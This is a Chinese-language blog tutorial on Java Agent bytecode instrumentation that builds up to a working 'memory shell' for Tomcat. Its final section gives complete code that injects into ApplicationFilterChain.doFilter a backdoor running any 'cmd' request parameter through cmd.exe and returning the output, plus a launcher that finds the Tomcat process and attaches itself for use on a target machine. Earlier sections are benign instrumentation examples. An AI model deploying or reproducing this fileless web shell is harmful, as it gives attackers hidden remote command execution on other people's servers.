Java Agent及其内存马实现
Java Agent 是一种可以在 Java 虚拟机(JVM)启动时或运行时加载的 Java 程序。它通过 java.lang.instrument 包提供的接口进行代码插桩,从而在 Java 应用程序的类加载和运行期间改变 Java 字节码
关于Agent
Agent的主要用途就是修改程序的字节码文件,通过外挂的jar包实现对程序jar包进行修改。Agent的运行方式有两种,一种通过在程序在通过java命令启动程序时通过加入-javaagent参数指定要加载的agent,例如
java -javaagent:self-agent.jar -jar app.jar
|
另一种方式是在程序正常启动后再载入我们的agent,这也是通过agent实现内存马的主要途径
构建Agent并执行
通过agent修改其他应用程序的字节码文件,需要一个包含修改逻辑的jar包,因此我们需要构建一个新的项目,再将其打包为jar文件,项目结构大致如下

方法入口premain与agentmain
在Agent类中,通过定义premain()和agentmain()方法来指定jar包运行的入口,以上两个方法分别对应通过启动前挂载和启动后挂载两种方式
import java.lang.instrument.Instrumentation;
public class Agent { public static void premain(String agentArgs, Instrumentation inst) {}
public static void agentmain(String agentArgs, Instrumentation inst) {} }
|
两方法的参数中, agentArgs 接收传递给 Agent 的参数,此处可以用该参数进行自定义逻辑。比如使用启动时挂载agent时执行以下命令
java -javaagent:self-agent.jar=admin -jar app.jar
|
此时agentArgs接收的值将会是"admin"这个字符串
inst参数接收 Instrumentation 类型的数据,这其实是一个工具对象,可以利用该对象进行一些类的重新定义操作或是转换操作
元数据文件MANIFEST.MF
该文件约束了jar包的一些行为,有点类似于配置文件,通过该文件可以指定jar包的入口类等等,该文件下可以有以下条目
| 属性名 |
说明 |
取值 |
默认值 |
重要性 |
| Premain-Class |
静态加载 Agent 的入口类 JVM 启动时通过 -javaagent 参数加载 |
完整类名,如:Agent |
无 |
必须(静态加载时) |
| Agent-Class |
动态加载 Agent 的入口类 通过 VirtualMachine.attach() 在运行时加载 |
完整类名,如:Agent |
无 |
必须(动态加载时) |
| Can-Redefine-Classes |
Agent 能否重新定义(替换)已加载的类 通过 Instrumentation.redefineClasses() |
true / false |
false |
重要 |
| Can-Retransform-Classes |
Agent 能否转换(修改)已加载的类 通过 Instrumentation.retransformClasses() |
true / false |
false |
重要 |
| Can-Set-Native-Method-Prefix |
是否允许修改 Native 方法的前缀 用于拦截 Native 方法调用 |
true / false |
false |
高级功能 |
构建配置pom.xml
通过配置pom.xml使我们的项目导出方式为jar-with-dependencies,还需要指定MANIFEST.MF的路径而不需要自动生成,主要是修改<build>标签下的内容
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>3.6.0</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile> </archive> </configuration> <executions> <execution> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build>
|
依赖主要是修改字节码的包,比如javassist、asm
通过premain()方法修改字节码
构建一个正常的app.jar程序,其主要功能是每隔一秒输出一句"hello world"
public class Main { public static void main(String[] args) throws InterruptedException { System.out.println("Hello World"); } }
|
在我们定义的Agent类中,定义premain()方法,我们要用到Instrumentation的一些方法调用已加载的类并进行修改,常用的方法
| 方法 |
功能描述 |
getAllLoadedClasses() |
获取 JVM 中所有已加载的类数组,可筛选关心的类 |
redefineClasses(ClassDefinition... definitions) |
使用类定义重新定义指定的类 |
retransformClasses(Class<?>... classes) |
使用已注册的 transformers 修改指定的类 |
addTransformer(ClassFileTransformer transformer) |
注册类文件转换器 |
removeTransformer(ClassFileTransformer transformer) |
注销类文件转换器 |
比如这里,我们尝试让先前app.jar不再打印"hello world"而是"hello Sekai",先获取Main类再尝试修改
public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new CustomTransformer(), true); Class<?>[] classes = inst.getAllLoadedClasses(); for (Class<?> clazz : classes) { if (clazz.getName().startsWith("Main")) { inst.retransformClasses(clazz); } } }
|
我们需要注册一个转换器去执行对类字节码的修改操作,该类需要实现ClassFileTransformer接口,重写transform()方法,我们在transform()方法中使用Javassist操作
public static class CustomTransformer implements ClassFileTransformer {
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { if (className == null || !className.equals("Main")) { return null; } ClassPool pool = ClassPool.getDefault(); byte[] transformedBytes; try { CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod method = ctClass.getDeclaredMethod("main"); method.setBody("{ System.out.println(\"Hello Sekai\"); }"); transformedBytes = ctClass.toBytecode(); } catch (Exception e) { throw new RuntimeException(e); } return transformedBytes; } }
|
将该项目打包为jar,使用不同的方式启动程序则会打印不同的内容

通过agentmain()方法修改字节码
为了便于表现效果,我们修改app.jar的逻辑让它循环打印”hello world”
public class Main { public static void main(String[] args) throws InterruptedException { while(true){ System.out.println("Hello world"); Thread.sleep(1000L); } } }
|
好的,等我写到这句话的时候,现实世界已经过去快8个小时了,由于我一直尝试直接篡改main()方法的循环,但是实际上即使类被重新定义也是不会立即生效的,而是等到其安全退出,我犯了一个极其愚蠢的错误。接下来,我将使用循环套用另一个类的静态方法来达到相同的效果,并且这样也更符合实际情况
public class Main { public static void main(String[] args) throws InterruptedException { while(true){ SayHello.doHello(); Thread.sleep(1000L); } } }
|
SayHello类的定义
public class SayHello { public static void doHello() { System.out.println("Hello world!"); } }
|
接下来就是定义agentmain()方法了,其实大体上可以和premain()差不多
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { CustomTransformer transformer = new CustomTransformer(); inst.addTransformer(transformer, true);
Class<?>[] classes = inst.getAllLoadedClasses(); for (Class<?> clazz : classes) { String name = clazz.getName(); if (name.equals("SayHello")) { inst.retransformClasses(clazz); } } }
|
接下来是CustomTransformer类的构造,此处应该要把loader放进pool中,不然java会连一些很基础的类都找不到
public static class CustomTransformer implements ClassFileTransformer {
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (!className.equals("SayHello")) { return null; }
try { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new LoaderClassPath(loader)); CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod target = ctClass.getDeclaredMethod("doHello"); target.setBody("{ System.out.println(\"Hello Sekai!\"); }"); return ctClass.toBytecode(); } catch (Throwable e) { e.printStackTrace(); return null; } } }
|
由于源代码里面我把SayHello类放在了根目录,如果是有包名的话,由于className默认以/作为分隔符,后面对类名进行筛选的时候可以直接用/分隔,或者为了通用一些对className处理一下
String dotted = className.replace('/', '.');
|
将项目导出为jar包,在主程序运行时可以通过一个程序运行,valueOf()方法内的参数为主程序运行的PID
public class Attach { public static void main(String[] args) throws AgentLoadException, IOException, AgentInitializationException, AttachNotSupportedException { VirtualMachine vm = VirtualMachine.attach(String.valueOf(26424)); vm.loadAgent("C:\\Users\\leyi\\IntelliJTest\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar");
} }
|
或者直接通过jcmd命令行
jcmd 808 JVMTI.agent_load C:\Users\leyi\IntelliJTest\JavaAgentTest\target\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar
|
效果如下,这里只展示主程序的变化,WARNING出现的时候就是agent挂载时机

Java Agent的内存马实现
通过agent修改运行时的类,为目标类对象添加我们定义的恶意逻辑
ApplicationFilterChain类是Tomcat执行Filter链的核心类,该类的doFilter()方法能够拿到每次请求的ServletRequest和ServletResponse对象,这对实现内存马回显是极好的
准备的恶意逻辑,插入doFilter()方法前,由于javassist不支持可变参数,这里看了ProcessBuilder类的构造方法需要传入一个列表,这里需要先构造列表,并且javassist不支持泛型,也不用写泛型了
{ String cmd = request.getParameter("cmd"); if (cmd != null) { StringBuilder output = new StringBuilder(); ProcessBuilder processBuilder; List command = new ArrayList(); command.add("cmd.exe"); command.add("/c"); command.add(cmd); processBuilder = new ProcessBuilder(command); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } response.setContentType("text/html;charset=GBK"); response.getWriter().println(output); } }
|
编写agentmain()方法用于实现运行时加载agent,FilterChain类需要使用全限定名
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { CustomTransformer transformer = new CustomTransformer(); inst.addTransformer(transformer, true);
Class<?>[] classes = inst.getAllLoadedClasses(); for (Class<?> clazz : classes) { String name = clazz.getName(); if (name.equals("org.apache.catalina.core.ApplicationFilterChain")) { inst.retransformClasses(clazz); } } }
|
定义CustomTransformer类,需要导入必要的包,比如List、BufferedReader
public static class CustomTransformer implements ClassFileTransformer {
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (!className.equals("org/apache/catalina/core/ApplicationFilterChain")) { return null; }
try { ClassPool pool = ClassPool.getDefault(); pool.importPackage("java.util"); pool.importPackage("java.io"); pool.insertClassPath(new LoaderClassPath(loader)); CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod target = ctClass.getDeclaredMethod("doFilter"); target.insertBefore("{\n" + " String cmd = request.getParameter(\"cmd\");\n" + " if (cmd != null) {\n" + " StringBuilder output = new StringBuilder();\n" + " ProcessBuilder processBuilder;\n" + " List command = new ArrayList();\n" + " command.add(\"cmd.exe\");\n" + " command.add(\"/c\");\n" + " command.add(cmd);" + " processBuilder = new ProcessBuilder(command);\n" + " try {\n" + " Process process = processBuilder.start();\n" + " BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));\n" + " String line;\n" + " while ((line = reader.readLine()) != null) {\n" + " output.append(line).append(\"\\n\");\n" + " }\n" + " } catch (IOException e) {\n" + " throw new RuntimeException(e);\n" + " }\n" + " response.setContentType(\"text/html;charset=GBK\");\n" + " response.getWriter().println(output);\n" + " } " + " }"); return ctClass.toBytecode(); } catch (Throwable e) { e.printStackTrace(); return null; } } }
|
此外,想要动态加载agent,需要知道当前服务器运行的PID,前面由于在本机上我直接通过jps命令即可获取,在攻击角度上,则需要这个jar包在运行时自动查找服务器运行的PID并执行加载agent命令
为jar包定义一个入口类,执行时自动运行该方法,该方法用于获取服务器进程PID和加载agent
public class Boot { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { String pid = getPID("org.apache.catalina.startup.Bootstrap"); String jar = getJar(Boot.class); VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(jar); }
public static String getJar(Class<?> clazz){ ProtectionDomain domain = clazz.getProtectionDomain(); URL location = domain.getCodeSource().getLocation(); String path = location.getPath(); if(System.getProperty("os.name").toLowerCase().contains("win")&&path.startsWith("/")){ path = path.substring(1); } return path; }
public static String getPID(String className) { try{ Process process = Runtime.getRuntime().exec("jps -l"); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { if (line.contains(className)) { return line.split(" ")[0]; } } }catch(IOException e){ e.printStackTrace(); } return null; } }
|
需要在MF文件中配置入口类
Manifest-Version: 1.0 Main-Class: Boot Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true Can-Set-Native-Method-Prefix: true
|
该方法在目标机器上寻找org.apache.catalina.startup.Bootstrap进程号,并识别自己的路径,之后通过PID获取VirtualMachine对象,将自己的路径也就是agent路径载入服务器进程
将程序打包,在目标机器上执行以下代码,即可通过篡改内存中ApplicationFilterChain的字节码实现内存马的效果
java -jar path/to/agent.jar
|
效果如下
